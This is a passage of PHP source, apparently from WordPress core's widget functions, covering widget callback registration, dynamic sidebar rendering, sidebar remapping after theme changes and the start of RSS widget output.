		$widget['params'][0]['number'] = -1;
	}

	unset( $widget['width'], $widget['height'], $widget['name'], $widget['id'] );
	$wp_registered_widget_updates[ $id_base ] = $widget;
}

/**
 * Registers the update callback for a widget.
 *
 * @since 2.8.0
 * @since 5.3.0 Formalized the existing and already documented `...$params` parameter
 *              by adding it to the function signature.
 *
 * @global array $wp_registered_widget_updates The registered widget updates.
 *
 * @param string   $id_base         The base ID of a widget created by extending WP_Widget.
 * @param callable $update_callback Update callback method for the widget.
 * @param array    $options         Optional. Widget control options. See wp_register_widget_control().
 *                                  Default empty array.
 * @param mixed    ...$params       Optional additional parameters to pass to the callback function when it's called.
 */
function _register_widget_update_callback( $id_base, $update_callback, $options = array(), ...$params ) {
	global $wp_registered_widget_updates;

	if ( isset( $wp_registered_widget_updates[ $id_base ] ) ) {
		if ( empty( $update_callback ) ) {
			unset( $wp_registered_widget_updates[ $id_base ] );
		}
		return;
	}

	$widget = array(
		'callback' => $update_callback,
		'params'   => $params,
	);

	$widget                                   = array_merge( $widget, $options );
	$wp_registered_widget_updates[ $id_base ] = $widget;
}

/**
 * Registers the form callback for a widget.
 *
 * @since 2.8.0
 * @since 5.3.0 Formalized the existing and already documented `...$params` parameter
 *              by adding it to the function signature.
 *
 * @global array $wp_registered_widget_controls The registered widget controls.
 *
 * @param int|string $id            Widget ID.
 * @param string     $name          Name attribute for the widget.
 * @param callable   $form_callback Form callback.
 * @param array      $options       Optional. Widget control options. See wp_register_widget_control().
 *                                  Default empty array.
 * @param mixed      ...$params     Optional additional parameters to pass to the callback function when it's called.
 */

function _register_widget_form_callback( $id, $name, $form_callback, $options = array(), ...$params ) {
	global $wp_registered_widget_controls;

	$id = strtolower( $id );

	if ( empty( $form_callback ) ) {
		unset( $wp_registered_widget_controls[ $id ] );
		return;
	}

	if ( isset( $wp_registered_widget_controls[ $id ] ) && ! did_action( 'widgets_init' ) ) {
		return;
	}

	$defaults          = array(
		'width'  => 250,
		'height' => 200,
	);
	$options           = wp_parse_args( $options, $defaults );
	$options['width']  = (int) $options['width'];
	$options['height'] = (int) $options['height'];

	$widget = array(
		'name'     => $name,
		'id'       => $id,
		'callback' => $form_callback,
		'params'   => $params,
	);
	$widget = array_merge( $widget, $options );

	$wp_registered_widget_controls[ $id ] = $widget;
}

/**
 * Remove control callback for widget.
 *
 * @since 2.2.0
 *
 * @param int|string $id Widget ID.
 */
function wp_unregister_widget_control( $id ) {
	wp_register_widget_control( $id, '', '' );
}

/**
 * Display dynamic sidebar.
 *
 * By default this displays the default sidebar or 'sidebar-1'. If your theme specifies the 'id' or
 * 'name' parameter for its registered sidebars you can pass an ID or name as the $index parameter.
 * Otherwise, you can pass in a numerical index to display the sidebar at that index.
 *
 * @since 2.2.0
 *
 * @global array $wp_registered_sidebars The registered sidebars.
 * @global array $wp_registered_widgets  The registered widgets.
 *
 * @param int|string $index Optional. Index, name or ID of dynamic sidebar. Default 1.
 * @return bool True, if widget sidebar was found and called. False if not found or not called.
 */
function dynamic_sidebar( $index = 1 ) {
	global $wp_registered_sidebars, $wp_registered_widgets;

	if ( is_int( $index ) ) {
		$index = "sidebar-$index";
	} else {
		$index = sanitize_title( $index );
		foreach ( (array) $wp_registered_sidebars as $key => $value ) {
			if ( sanitize_title( $value['name'] ) === $index ) {
				$index = $key;
				break;
			}
		}
	}

	$sidebars_widgets = wp_get_sidebars_widgets();
	if ( empty( $wp_registered_sidebars[ $index ] ) || empty( $sidebars_widgets[ $index ] ) || ! is_array( $sidebars_widgets[ $index ] ) ) {
		/** This action is documented in wp-includes/widget.php */
		do_action( 'dynamic_sidebar_before', $index, false );
		/** This action is documented in wp-includes/widget.php */
		do_action( 'dynamic_sidebar_after', $index, false );
		/** This filter is documented in wp-includes/widget.php */
		return apply_filters( 'dynamic_sidebar_has_widgets', false, $index );
	}

	$sidebar = $wp_registered_sidebars[ $index ];

	$sidebar['before_sidebar'] = sprintf( $sidebar['before_sidebar'], $sidebar['id'], $sidebar['class'] );

	/**
	 * Fires before widgets are rendered in a dynamic sidebar.
	 *
	 * Note: The action also fires for empty sidebars, and on both the front end
	 * and back end, including the Inactive Widgets sidebar on the Widgets screen.
	 *
	 * @since 3.9.0
	 *
	 * @param int|string $index       Index, name, or ID of the dynamic sidebar.
	 * @param bool       $has_widgets Whether the sidebar is populated with widgets.
	 *                                Default true.
	 */
	do_action( 'dynamic_sidebar_before', $index, true );

	if ( ! is_admin() && ! empty( $sidebar['before_sidebar'] ) ) {
		echo $sidebar['before_sidebar'];
	}

	$did_one = false;
	foreach ( (array) $sidebars_widgets[ $index ] as $id ) {

		if ( ! isset( $wp_registered_widgets[ $id ] ) ) {
			continue;
		}

		$params = array_merge(
			array(
				array_merge(
					$sidebar,
					array(
						'widget_id'   => $id,
						'widget_name' => $wp_registered_widgets[ $id ]['name'],
					)
				),
			),
			(array) $wp_registered_widgets[ $id ]['params']
		);

		// Substitute HTML `id` and `class` attributes into `before_widget`.
		$classname_ = '';
		foreach ( (array) $wp_registered_widgets[ $id ]['classname'] as $cn ) {
			if ( is_string( $cn ) ) {
				$classname_ .= '_' . $cn;
			} elseif ( is_object( $cn ) ) {
				$classname_ .= '_' . get_class( $cn );
			}
		}
		$classname_ = ltrim( $classname_, '_' );

		$params[0]['before_widget'] = sprintf(
			$params[0]['before_widget'],
			str_replace( '\\', '_', $id ),
			$classname_
		);

		/**
		 * Filters the parameters passed to a widget's display callback.
		 *
		 * Note: The filter is evaluated on both the front end and back end,
		 * including for the Inactive Widgets sidebar on the Widgets screen.
		 *
		 * @since 2.5.0
		 *
		 * @see register_sidebar()
		 *
		 * @param array $params {
		 *     @type array $args  {
		 *         An array of widget display arguments.
		 *
		 *         @type string $name          Name of the sidebar the widget is assigned to.
		 *         @type string $id            ID of the sidebar the widget is assigned to.
		 *         @type string $description   The sidebar description.
		 *         @type string $class         CSS class applied to the sidebar container.
		 *         @type string $before_widget HTML markup to prepend to each widget in the sidebar.
		 *         @type string $after_widget  HTML markup to append to each widget in the sidebar.
		 *         @type string $before_title  HTML markup to prepend to the widget title when displayed.
		 *         @type string $after_title   HTML markup to append to the widget title when displayed.
		 *         @type string $widget_id     ID of the widget.
		 *         @type string $widget_name   Name of the widget.
		 *     }
		 *     @type array $widget_args {
		 *         An array of multi-widget arguments.
		 *
		 *         @type int $number Number increment used for multiples of the same widget.
		 *     }
		 * }
		 */
		$params = apply_filters( 'dynamic_sidebar_params', $params );

		$callback = $wp_registered_widgets[ $id ]['callback'];

		/**
		 * Fires before a widget's display callback is called.
		 *
		 * Note: The action fires on both the front end and back end, including
		 * for widgets in the Inactive Widgets sidebar on the Widgets screen.
		 *
		 * The action is not fired for empty sidebars.
		 *
		 * @since 3.0.0
		 *
		 * @param array $widget {
		 *     An associative array of widget arguments.
		 *
		 *     @type string   $name        Name of the widget.
		 *     @type string   $id          Widget ID.
		 *     @type callable $callback    When the hook is fired on the front end, `$callback` is an array
		 *                                 containing the widget object. Fired on the back end, `$callback`
		 *                                 is 'wp_widget_control', see `$_callback`.
		 *     @type array    $params      An associative array of multi-widget arguments.
		 *     @type string   $classname   CSS class applied to the widget container.
		 *     @type string   $description The widget description.
		 *     @type array    $_callback   When the hook is fired on the back end, `$_callback` is populated
		 *                                 with an array containing the widget object, see `$callback`.
		 * }
		 */
		do_action( 'dynamic_sidebar', $wp_registered_widgets[ $id ] );

		if ( is_callable( $callback ) ) {
			call_user_func_array( $callback, $params );
			$did_one = true;
		}
	}

	if ( ! is_admin() && ! empty( $sidebar['after_sidebar'] ) ) {
		echo $sidebar['after_sidebar'];
	}

	/**
	 * Fires after widgets are rendered in a dynamic sidebar.
	 *
	 * Note: The action also fires for empty sidebars, and on both the front end
	 * and back end, including the Inactive Widgets sidebar on the Widgets screen.
	 *
	 * @since 3.9.0
	 *
	 * @param int|string $index       Index, name, or ID of the dynamic sidebar.
	 * @param bool       $has_widgets Whether the sidebar is populated with widgets.
	 *                                Default true.
	 */
	do_action( 'dynamic_sidebar_after', $index, true );

	/**
	 * Filters whether a sidebar has widgets.
	 *
	 * Note: The filter is also evaluated for empty sidebars, and on both the front end
	 * and back end, including the Inactive Widgets sidebar on the Widgets screen.
	 *
	 * @since 3.9.0
	 *
	 * @param bool       $did_one Whether at least one widget was rendered in the sidebar.
	 *                            Default false.
	 * @param int|string $index   Index, name, or ID of the dynamic sidebar.
	 */
	return apply_filters( 'dynamic_sidebar_has_widgets', $did_one, $index );
}

/**
 * Determines whether a given widget is displayed on the front end.
 *
 * Either $callback or $id_base can be used
 * $id_base is the first argument when extending WP_Widget class
 * Without the optional $widget_id parameter, returns the ID of the first sidebar
 * in which the first instance of the widget with the given callback or $id_base is found.
 * With the $widget_id parameter, returns the ID of the sidebar where
 * the widget with that callback/$id_base AND that ID is found.
 *
 * NOTE: $widget_id and $id_base are the same for single widgets. To be effective
 * this function has to run after widgets have initialized, at action {@see 'init'} or later.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.2.0
 *
 * @global array $wp_registered_widgets The registered widgets.
 *
 * @param callable|false $callback      Optional. Widget callback to check. Default false.
 * @param string|false   $widget_id     Optional. Widget ID. Optional, but needed for checking.
 *                                      Default false.
 * @param string|false   $id_base       Optional. The base ID of a widget created by extending WP_Widget.
 *                                      Default false.
 * @param bool           $skip_inactive Optional. Whether to check in 'wp_inactive_widgets'.
 *                                      Default true.
 * @return string|false ID of the sidebar in which the widget is active,
 *                      false if the widget is not active.
 */
function is_active_widget( $callback = false, $widget_id = false, $id_base = false, $skip_inactive = true ) {
	global $wp_registered_widgets;

	$sidebars_widgets = wp_get_sidebars_widgets();

	if ( is_array( $sidebars_widgets ) ) {
		foreach ( $sidebars_widgets as $sidebar => $widgets ) {
			if ( $skip_inactive && ( 'wp_inactive_widgets' === $sidebar || str_starts_with( $sidebar, 'orphaned_widgets' ) ) ) {
				continue;
			}

			if ( is_array( $widgets ) ) {
				foreach ( $widgets as $widget ) {
					if ( ( $callback && isset( $wp_registered_widgets[ $widget ]['callback'] ) && $wp_registered_widgets[ $widget ]['callback'] === $callback ) || ( $id_base && _get_widget_id_base( $widget ) === $id_base ) ) {
						if ( ! $widget_id || $widget_id === $wp_registered_widgets[ $widget ]['id'] ) {
							return $sidebar;
						}
					}
				}
			}
		}
	}
	return false;
}

/**
 * Determines whether the dynamic sidebar is enabled and used by the theme.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.2.0
 *
 * @global array $wp_registered_widgets  The registered widgets.
 * @global array $wp_registered_sidebars The registered sidebars.
 *
 * @return bool True if using widgets, false otherwise.
 */
function is_dynamic_sidebar() {
	global $wp_registered_widgets, $wp_registered_sidebars;

	$sidebars_widgets = get_option( 'sidebars_widgets' );

	foreach ( (array) $wp_registered_sidebars as $index => $sidebar ) {
		if ( ! empty( $sidebars_widgets[ $index ] ) ) {
			foreach ( (array) $sidebars_widgets[ $index ] as $widget ) {
				if ( array_key_exists( $widget, $wp_registered_widgets ) ) {
					return true;
				}
			}
		}
	}

	return false;
}

/**
 * Determines whether a sidebar contains widgets.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.8.0
 *
 * @param string|int $index Sidebar name, id or number to check.
 * @return bool True if the sidebar has widgets, false otherwise.
 */
function is_active_sidebar( $index ) {
	$index             = ( is_int( $index ) ) ? "sidebar-$index" : sanitize_title( $index );
	$sidebars_widgets  = wp_get_sidebars_widgets();
	$is_active_sidebar = ! empty( $sidebars_widgets[ $index ] );

	/**
	 * Filters whether a dynamic sidebar is considered "active".
	 *
	 * @since 3.9.0
	 *
	 * @param bool       $is_active_sidebar Whether or not the sidebar should be considered "active".
	 *                                      In other words, whether the sidebar contains any widgets.
	 * @param int|string $index             Index, name, or ID of the dynamic sidebar.
	 */
	return apply_filters( 'is_active_sidebar', $is_active_sidebar, $index );
}

//
// Internal Functions.
//

/**
 * Retrieve full list of sidebars and their widget instance IDs.
 *
 * Will upgrade sidebar widget list, if needed. Will also save updated list, if
 * needed.
 *
 * @since 2.2.0
 * @access private
 *
 * @global array $_wp_sidebars_widgets
 * @global array $sidebars_widgets
 *
 * @param bool $deprecated Not used (argument deprecated).
 * @return array Upgraded list of widgets to version 3 array format when called from the admin.
 */
function wp_get_sidebars_widgets( $deprecated = true ) {
	if ( true !== $deprecated ) {
		_deprecated_argument( __FUNCTION__, '2.8.1' );
	}

	global $_wp_sidebars_widgets, $sidebars_widgets;

	/*
	 * If loading from front page, consult $_wp_sidebars_widgets rather than options
	 * to see if wp_convert_widget_settings() has made manipulations in memory.
	 */
	if ( ! is_admin() ) {
		if ( empty( $_wp_sidebars_widgets ) ) {
			$_wp_sidebars_widgets = get_option( 'sidebars_widgets', array() );
		}

		$sidebars_widgets = $_wp_sidebars_widgets;
	} else {
		$sidebars_widgets = get_option( 'sidebars_widgets', array() );
	}

	if ( is_array( $sidebars_widgets ) && isset( $sidebars_widgets['array_version'] ) ) {
		unset( $sidebars_widgets['array_version'] );
	}

	/**
	 * Filters the list of sidebars and their widgets.
	 *
	 * @since 2.7.0
	 *
	 * @param array $sidebars_widgets An associative array of sidebars and their widgets.
	 */
	return apply_filters( 'sidebars_widgets', $sidebars_widgets );
}

/**
 * Retrieves the registered sidebar with the given ID.
 *
 * @since 5.9.0
 *
 * @global array $wp_registered_sidebars The registered sidebars.
 *
 * @param string $id The sidebar ID.
 * @return array|null The discovered sidebar, or null if it is not registered.
 */
function wp_get_sidebar( $id ) {
	global $wp_registered_sidebars;

	foreach ( (array) $wp_registered_sidebars as $sidebar ) {
		if ( $sidebar['id'] === $id ) {
			return $sidebar;
		}
	}

	if ( 'wp_inactive_widgets' === $id ) {
		return array(
			'id'   => 'wp_inactive_widgets',
			'name' => __( 'Inactive widgets' ),
		);
	}

	return null;
}

/**
 * Set the sidebar widget option to update sidebars.
 *
 * @since 2.2.0
 * @access private
 *
 * @global array $_wp_sidebars_widgets
 * @param array $sidebars_widgets Sidebar widgets and their settings.
 */
function wp_set_sidebars_widgets( $sidebars_widgets ) {
	global $_wp_sidebars_widgets;

	// Clear cached value used in wp_get_sidebars_widgets().
	$_wp_sidebars_widgets = null;

	if ( ! isset( $sidebars_widgets['array_version'] ) ) {
		$sidebars_widgets['array_version'] = 3;
	}

	update_option( 'sidebars_widgets', $sidebars_widgets );
}

/**
 * Retrieve default registered sidebars list.
 *
 * @since 2.2.0
 * @access private
 *
 * @global array $wp_registered_sidebars The registered sidebars.
 *
 * @return array
 */
function wp_get_widget_defaults() {
	global $wp_registered_sidebars;

	$defaults = array();

	foreach ( (array) $wp_registered_sidebars as $index => $sidebar ) {
		$defaults[ $index ] = array();
	}

	return $defaults;
}

/**
 * Converts the widget settings from single to multi-widget format.
 *
 * @since 2.8.0
 *
 * @global array $_wp_sidebars_widgets
 *
 * @param string $base_name   Root ID for all widgets of this type.
 * @param string $option_name Option name for this widget type.
 * @param array  $settings    The array of widget instance settings.
 * @return array The array of widget settings converted to multi-widget format.
 */
function wp_convert_widget_settings( $base_name, $option_name, $settings ) {
	// This test may need expanding.
	$single  = false;
	$changed = false;

	if ( empty( $settings ) ) {
		$single = true;
	} else {
		foreach ( array_keys( $settings ) as $number ) {
			if ( 'number' === $number ) {
				continue;
			}
			if ( ! is_numeric( $number ) ) {
				$single = true;
				break;
			}
		}
	}

	if ( $single ) {
		$settings = array( 2 => $settings );

		// If loading from the front page, update sidebar in memory but don't save to options.
		if ( is_admin() ) {
			$sidebars_widgets = get_option( 'sidebars_widgets' );
		} else {
			if ( empty( $GLOBALS['_wp_sidebars_widgets'] ) ) {
				$GLOBALS['_wp_sidebars_widgets'] = get_option( 'sidebars_widgets', array() );
			}
			$sidebars_widgets = &$GLOBALS['_wp_sidebars_widgets'];
		}

		foreach ( (array) $sidebars_widgets as $index => $sidebar ) {
			if ( is_array( $sidebar ) ) {
				foreach ( $sidebar as $i => $name ) {
					if ( $base_name === $name ) {
						$sidebars_widgets[ $index ][ $i ] = "$name-2";
						$changed                          = true;
						break 2;
					}
				}
			}
		}

		if ( is_admin() && $changed ) {
			update_option( 'sidebars_widgets', $sidebars_widgets );
		}
	}

	$settings['_multiwidget'] = 1;
	if ( is_admin() ) {
		update_option( $option_name, $settings );
	}

	return $settings;
}

/**
 * Output an arbitrary widget as a template tag.
 *
 * @since 2.8.0
 *
 * @global WP_Widget_Factory $wp_widget_factory
 *
 * @param string $widget   The widget's PHP class name (see class-wp-widget.php).
 * @param array  $instance Optional. The widget's instance settings. Default empty array.
 * @param array  $args {
 *     Optional. Array of arguments to configure the display of the widget.
 *
 *     @type string $before_widget HTML content that will be prepended to the widget's HTML output.
 *                                 Default `<div class="widget %s">`, where `%s` is the widget's class name.
 *     @type string $after_widget  HTML content that will be appended to the widget's HTML output.
 *                                 Default `</div>`.
 *     @type string $before_title  HTML content that will be prepended to the widget's title when displayed.
 *                                 Default `<h2 class="widgettitle">`.
 *     @type string $after_title   HTML content that will be appended to the widget's title when displayed.
 *                                 Default `</h2>`.
 * }
 */
function the_widget( $widget, $instance = array(), $args = array() ) {
	global $wp_widget_factory;

	if ( ! isset( $wp_widget_factory->widgets[ $widget ] ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: %s: register_widget() */
				__( 'Widgets need to be registered using %s, before they can be displayed.' ),
				'<code>register_widget()</code>'
			),
			'4.9.0'
		);
		return;
	}

	$widget_obj = $wp_widget_factory->widgets[ $widget ];
	if ( ! ( $widget_obj instanceof WP_Widget ) ) {
		return;
	}

	$default_args          = array(
		'before_widget' => '<div class="widget %s">',
		'after_widget'  => '</div>',
		'before_title'  => '<h2 class="widgettitle">',
		'after_title'   => '</h2>',
	);
	$args                  = wp_parse_args( $args, $default_args );
	$args['before_widget'] = sprintf( $args['before_widget'], $widget_obj->widget_options['classname'] );

	$instance = wp_parse_args( $instance );

	/** This filter is documented in wp-includes/class-wp-widget.php */
	$instance = apply_filters( 'widget_display_callback', $instance, $widget_obj, $args );

	if ( false === $instance ) {
		return;
	}

	/**
	 * Fires before rendering the requested widget.
	 *
	 * @since 3.0.0
	 *
	 * @param string $widget   The widget's class name.
	 * @param array  $instance The current widget instance's settings.
	 * @param array  $args     An array of the widget's sidebar arguments.
	 */
	do_action( 'the_widget', $widget, $instance, $args );

	$widget_obj->_set( -1 );
	$widget_obj->widget( $args, $instance );
}

/**
 * Retrieves the widget ID base value.
 *
 * @since 2.8.0
 *
 * @param string $id Widget ID.
 * @return string Widget ID base.
 */
function _get_widget_id_base( $id ) {
	return preg_replace( '/-[0-9]+$/', '', $id );
}

/**
 * Handle sidebars config after theme change
 *
 * @access private
 * @since 3.3.0
 *
 * @global array $sidebars_widgets
 */
function _wp_sidebars_changed() {
	global $sidebars_widgets;

	if ( ! is_array( $sidebars_widgets ) ) {
		$sidebars_widgets = wp_get_sidebars_widgets();
	}

	retrieve_widgets( true );
}

/**
 * Validates and remaps any "orphaned" widgets to wp_inactive_widgets sidebar,
 * and saves the widget settings. This has to run at least on each theme change.
 *
 * For example, let's say theme A has a "footer" sidebar, and theme B doesn't have one.
 * After switching from theme A to theme B, all the widgets previously assigned
 * to the footer would be inaccessible. This function detects this scenario, and
 * moves all the widgets previously assigned to the footer under wp_inactive_widgets.
 *
 * Despite the word "retrieve" in the name, this function actually updates the database
 * and the global `$sidebars_widgets`. For that reason it should not be run on front end,
 * unless the `$theme_changed` value is 'customize' (to bypass the database write).
 *
 * @since 2.8.0
 *
 * @global array $wp_registered_sidebars The registered sidebars.
 * @global array $sidebars_widgets
 * @global array $wp_registered_widgets  The registered widgets.
 *
 * @param string|bool $theme_changed Whether the theme was changed as a boolean. A value
 *                                   of 'customize' defers updates for the Customizer.
 * @return array Updated sidebars widgets.
 */
function retrieve_widgets( $theme_changed = false ) {
	global $wp_registered_sidebars, $sidebars_widgets, $wp_registered_widgets;

	$registered_sidebars_keys = array_keys( $wp_registered_sidebars );
	$registered_widgets_ids   = array_keys( $wp_registered_widgets );

	if ( ! is_array( get_theme_mod( 'sidebars_widgets' ) ) ) {
		if ( empty( $sidebars_widgets ) ) {
			return array();
		}

		unset( $sidebars_widgets['array_version'] );

		$sidebars_widgets_keys = array_keys( $sidebars_widgets );
		sort( $sidebars_widgets_keys );
		sort( $registered_sidebars_keys );

		if ( $sidebars_widgets_keys === $registered_sidebars_keys ) {
			$sidebars_widgets = _wp_remove_unregistered_widgets( $sidebars_widgets, $registered_widgets_ids );

			return $sidebars_widgets;
		}
	}

	// Discard invalid, theme-specific widgets from sidebars.
	$sidebars_widgets = _wp_remove_unregistered_widgets( $sidebars_widgets, $registered_widgets_ids );
	$sidebars_widgets = wp_map_sidebars_widgets( $sidebars_widgets );

	// Find hidden/lost multi-widget instances.
	$shown_widgets = array_merge( ...array_values( $sidebars_widgets ) );
	$lost_widgets  = array_diff( $registered_widgets_ids, $shown_widgets );

	foreach ( $lost_widgets as $key => $widget_id ) {
		$number = preg_replace( '/.+?-([0-9]+)$/', '$1', $widget_id );

		// Only keep active and default widgets.
		if ( is_numeric( $number ) && (int) $number < 2 ) {
			unset( $lost_widgets[ $key ] );
		}
	}
	$sidebars_widgets['wp_inactive_widgets'] = array_merge( $lost_widgets, (array) $sidebars_widgets['wp_inactive_widgets'] );

	if ( 'customize' !== $theme_changed ) {
		// Update the widgets settings in the database.
		wp_set_sidebars_widgets( $sidebars_widgets );
	}

	return $sidebars_widgets;
}

/**
 * Compares a list of sidebars with their widgets against an allowed list.
 *
 * @since 4.9.0
 * @since 4.9.2 Always tries to restore widget assignments from previous data, not just if sidebars needed mapping.
 *
 * @global array $wp_registered_sidebars The registered sidebars.
 *
 * @param array $existing_sidebars_widgets List of sidebars and their widget instance IDs.
 * @return array Mapped sidebars widgets.
 */
function wp_map_sidebars_widgets( $existing_sidebars_widgets ) {
	global $wp_registered_sidebars;

	$new_sidebars_widgets = array(
		'wp_inactive_widgets' => array(),
	);

	// Short-circuit if there are no sidebars to map.
	if ( ! is_array( $existing_sidebars_widgets ) || empty( $existing_sidebars_widgets ) ) {
		return $new_sidebars_widgets;
	}

	foreach ( $existing_sidebars_widgets as $sidebar => $widgets ) {
		if ( 'wp_inactive_widgets' === $sidebar || str_starts_with( $sidebar, 'orphaned_widgets' ) ) {
			$new_sidebars_widgets['wp_inactive_widgets'] = array_merge( $new_sidebars_widgets['wp_inactive_widgets'], (array) $widgets );
			unset( $existing_sidebars_widgets[ $sidebar ] );
		}
	}

	// If old and new theme have just one sidebar, map it and we're done.
	if ( 1 === count( $existing_sidebars_widgets ) && 1 === count( $wp_registered_sidebars ) ) {
		$new_sidebars_widgets[ key( $wp_registered_sidebars ) ] = array_pop( $existing_sidebars_widgets );

		return $new_sidebars_widgets;
	}

	// Map locations with the same slug.
	$existing_sidebars = array_keys( $existing_sidebars_widgets );

	foreach ( $wp_registered_sidebars as $sidebar => $name ) {
		if ( in_array( $sidebar, $existing_sidebars, true ) ) {
			$new_sidebars_widgets[ $sidebar ] = $existing_sidebars_widgets[ $sidebar ];
			unset( $existing_sidebars_widgets[ $sidebar ] );
		} elseif ( ! array_key_exists( $sidebar, $new_sidebars_widgets ) ) {
			$new_sidebars_widgets[ $sidebar ] = array();
		}
	}

	// If there are more sidebars, try to map them.
	if ( ! empty( $existing_sidebars_widgets ) ) {

		/*
		 * If old and new theme both have sidebars that contain phrases
		 * from within the same group, make an educated guess and map it.
		 */
		$common_slug_groups = array(
			array( 'sidebar', 'primary', 'main', 'right' ),
			array( 'second', 'left' ),
			array( 'sidebar-2', 'footer', 'bottom' ),
			array( 'header', 'top' ),
		);

		// Go through each group...
		foreach ( $common_slug_groups as $slug_group ) {

			// ...and see if any of these slugs...
			foreach ( $slug_group as $slug ) {

				// ...and any of the new sidebars...
				foreach ( $wp_registered_sidebars as $new_sidebar => $args ) {

					// ...actually match!
					if ( false === stripos( $new_sidebar, $slug ) && false === stripos( $slug, $new_sidebar ) ) {
						continue;
					}

					// Then see if any of the existing sidebars...
					foreach ( $existing_sidebars_widgets as $sidebar => $widgets ) {

						// ...and any slug in the same group...
						foreach ( $slug_group as $slug ) {

							// ... have a match as well.
							if ( false === stripos( $sidebar, $slug ) && false === stripos( $slug, $sidebar ) ) {
								continue;
							}

							// Make sure this sidebar wasn't mapped and removed previously.
							if ( ! empty( $existing_sidebars_widgets[ $sidebar ] ) ) {

								// We have a match that can be mapped!
								$new_sidebars_widgets[ $new_sidebar ] = array_merge( $new_sidebars_widgets[ $new_sidebar ], $existing_sidebars_widgets[ $sidebar ] );

								// Remove the mapped sidebar so it can't be mapped again.
								unset( $existing_sidebars_widgets[ $sidebar ] );

								// Go back and check the next new sidebar.
								continue 3;
							}
						} // End foreach ( $slug_group as $slug ).
					} // End foreach ( $existing_sidebars_widgets as $sidebar => $widgets ).
				} // End foreach ( $wp_registered_sidebars as $new_sidebar => $args ).
			} // End foreach ( $slug_group as $slug ).
		} // End foreach ( $common_slug_groups as $slug_group ).
	}

	// Move any left over widgets to inactive sidebar.
	foreach ( $existing_sidebars_widgets as $widgets ) {
		if ( is_array( $widgets ) && ! empty( $widgets ) ) {
			$new_sidebars_widgets['wp_inactive_widgets'] = array_merge( $new_sidebars_widgets['wp_inactive_widgets'], $widgets );
		}
	}

	// Sidebars_widgets settings from when this theme was previously active.
	$old_sidebars_widgets = get_theme_mod( 'sidebars_widgets' );
	$old_sidebars_widgets = isset( $old_sidebars_widgets['data'] ) ? $old_sidebars_widgets['data'] : false;

	if ( is_array( $old_sidebars_widgets ) ) {

		// Remove empty sidebars, no need to map those.
		$old_sidebars_widgets = array_filter( $old_sidebars_widgets );

		// Only check sidebars that are empty or have not been mapped to yet.
		foreach ( $new_sidebars_widgets as $new_sidebar => $new_widgets ) {
			if ( array_key_exists( $new_sidebar, $old_sidebars_widgets ) && ! empty( $new_widgets ) ) {
				unset( $old_sidebars_widgets[ $new_sidebar ] );
			}
		}

		// Remove orphaned widgets, we're only interested in previously active sidebars.
		foreach ( $old_sidebars_widgets as $sidebar => $widgets ) {
			if ( str_starts_with( $sidebar, 'orphaned_widgets' ) ) {
				unset( $old_sidebars_widgets[ $sidebar ] );
			}
		}

		$old_sidebars_widgets = _wp_remove_unregistered_widgets( $old_sidebars_widgets );

		if ( ! empty( $old_sidebars_widgets ) ) {

			// Go through each remaining sidebar...
			foreach ( $old_sidebars_widgets as $old_sidebar => $old_widgets ) {

				// ...and check every new sidebar...
				foreach ( $new_sidebars_widgets as $new_sidebar => $new_widgets ) {

					// ...for every widget we're trying to revive.
					foreach ( $old_widgets as $key => $widget_id ) {
						$active_key = array_search( $widget_id, $new_widgets, true );

						// If the widget is used elsewhere...
						if ( false !== $active_key ) {

							// ...and that elsewhere is inactive widgets...
							if ( 'wp_inactive_widgets' === $new_sidebar ) {

								// ...remove it from there and keep the active version...
								unset( $new_sidebars_widgets['wp_inactive_widgets'][ $active_key ] );
							} else {

								// ...otherwise remove it from the old sidebar and keep it in the new one.
								unset( $old_sidebars_widgets[ $old_sidebar ][ $key ] );
							}
						} // End if ( $active_key ).
					} // End foreach ( $old_widgets as $key => $widget_id ).
				} // End foreach ( $new_sidebars_widgets as $new_sidebar => $new_widgets ).
			} // End foreach ( $old_sidebars_widgets as $old_sidebar => $old_widgets ).
		} // End if ( ! empty( $old_sidebars_widgets ) ).

		// Restore widget settings from when theme was previously active.
		$new_sidebars_widgets = array_merge( $new_sidebars_widgets, $old_sidebars_widgets );
	}

	return $new_sidebars_widgets;
}

/**
 * Compares a list of sidebars with their widgets against an allowed list.
 *
 * @since 4.9.0
 *
 * @global array $wp_registered_widgets The registered widgets.
 *
 * @param array $sidebars_widgets   List of sidebars and their widget instance IDs.
 * @param array $allowed_widget_ids Optional. List of widget IDs to compare against. Default: Registered widgets.
 * @return array Sidebars with allowed widgets.
 */
function _wp_remove_unregistered_widgets( $sidebars_widgets, $allowed_widget_ids = array() ) {
	if ( empty( $allowed_widget_ids ) ) {
		$allowed_widget_ids = array_keys( $GLOBALS['wp_registered_widgets'] );
	}

	foreach ( $sidebars_widgets as $sidebar => $widgets ) {
		if ( is_array( $widgets ) ) {
			$sidebars_widgets[ $sidebar ] = array_intersect( $widgets, $allowed_widget_ids );
		}
	}

	return $sidebars_widgets;
}

/**
 * Display the RSS entries in a list.
 *
 * @since 2.5.0
 *
 * @param string|array|object $rss  RSS url.
 * @param array               $args Widget arguments.
 */
function wp_widget_rss_output( $rss, $args = array() ) {
	if ( is_string( $rss ) ) {
		$rss = fetch_feed( $rss );
	} elseif ( is_array( $rss ) && isset( $rss['url'] ) ) {
		$args = $rss;
		$rss  = fetch_feed( $rss['url'] );
	} elseif ( ! is_object( $rss ) ) {
		return;
	}

	if ( is_wp_error( $rss ) ) {
		if ( is_admin() || current_user_can( 'manage_options' ) ) {
			echo '<p><strong>' . __( 'RSS Error:' ) . '</strong> ' . esc_html( $rss->get_error_message() ) . '</p>';
		}
		return;
	}

	$default_args = array(
		'show_author'  => 0,
		'show_date'    => 0,
		'show_summary' => 0,
		'items'        => 0,
	);
	$args         = wp_parse_args( $args, $default_args );

	$items = (int) $args['items'];
	if ( $items < 1 || 20 < $items ) {
		$items = 10;
	}
	$show_summary = (int) $args['show_summary'];
	$show_author  = (int) $args['show_author'];
	$show_date    = (int) $args['show_date'];

	if ( ! $rss->get_item_quantity() ) {
		echo '<ul><li>' . __( 'An error has occurred, which probably means the feed is down. Try again later.' ) . '</li></ul>';
		$rss->__destruct();
